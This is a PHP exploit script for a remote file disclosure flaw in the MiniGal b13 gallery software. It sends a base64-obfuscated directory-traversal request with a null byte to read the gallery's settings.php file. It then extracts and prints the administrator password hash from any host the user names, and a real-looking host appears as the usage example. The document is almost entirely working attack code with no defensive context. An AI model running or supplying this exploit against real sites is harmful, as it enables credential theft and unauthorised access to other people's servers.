Minigal b13 (index.php list) Remote File Disclosure Exploit

                                                <?php 
set_time_limit(0);
function find_pass($data){
         $tab = explode('$gallerycopyright = ',$data);
         $tab1 = explode('$version = "B13";',$tab[1]);
         $tab2 = explode('$adminpass = "',$tab1[0]);
         if($tab2[1]!=""){
            echo("Vuln exploited enjoy !\n");
            echo
            sleep(1);    
            echo("Admin hash == [".substr($tab2[1],0,32)."]\n");
         }
         else{ 
             echo("Exploit failed!!!!");
         }
}               
function __send($pack,$host,$port){
        $ret = "";
        $desc = fsockopen($host,$port,$errno, $errstr, 30);
        if(!$desc){ 
           echo("Socket say:($errno).[$errstr]"); 
           return;
           }
           echo("Sending payload !!\n");
           fwrite($desc,$pack);
           while(!feof($desc)){
                $ret.=fgets($desc);   
           }
        fclose($desc);  
        find_pass($ret);
}           

echo("\n=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n".
     "+       MiniGal b13 Source Code Disclosure       +\n".
     "+               Alfons Luja                      +\n".
     "+  --------------------------------------------  +\n".
     "+       Usage poc.php path host port             +\n".
     "+    ex: poc.php /press/ wwww.doda.net.pl 80     +\n".
     "+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=\n");
     
if($argc<3){ die("Path - host - Port - comprendo ?"); }

$path = $argv[1];
$host = $argv[2];
$port = $argv[3];

$packet = "GET ".$path.base64_decode("aW5kZXgucGhwP2xpc3Q9Li4vc2V0dGluZ3MucGhwJTAwIEhUVFAvMS4x")."\r\n";
$packet .= "Host:".$host."\r\n";
$packet .= "Keep-Alive: 300\r\n";
$packet .= "Connection: keep-alive\r\n\r\n";
echo("\nConnecting to $host\n");
__send($packet,$host,$port);

?>